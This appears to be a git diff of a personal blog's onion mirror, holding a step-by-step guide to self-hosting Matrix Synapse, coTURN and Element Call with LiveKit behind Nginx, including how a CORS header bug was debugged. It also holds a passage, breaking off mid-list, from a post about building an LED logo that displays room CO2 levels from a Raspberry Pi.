    + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/self-hosting/page/1/index.html b/public-onion/tags/self-hosting/page/1/index.html new file mode 100644 index 0000000..ed647b1 --- /dev/null +++ b/public-onion/tags/self-hosting/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/ + + + + + + diff --git a/public-onion/tags/soldering/index.html b/public-onion/tags/soldering/index.html new file mode 100644 index 0000000..673a942 --- /dev/null +++ b/public-onion/tags/soldering/index.html @@ -0,0 +1,357 @@ + + + + + + + +Soldering | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/soldering/index.xml b/public-onion/tags/soldering/index.xml new file mode 100644 index 0000000..cf63951 --- /dev/null +++ b/public-onion/tags/soldering/index.xml @@ -0,0 +1,419 @@ + + + + Soldering on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/ + Recent content in Soldering on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 17 Oct 2025 00:00:00 +0000 + + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
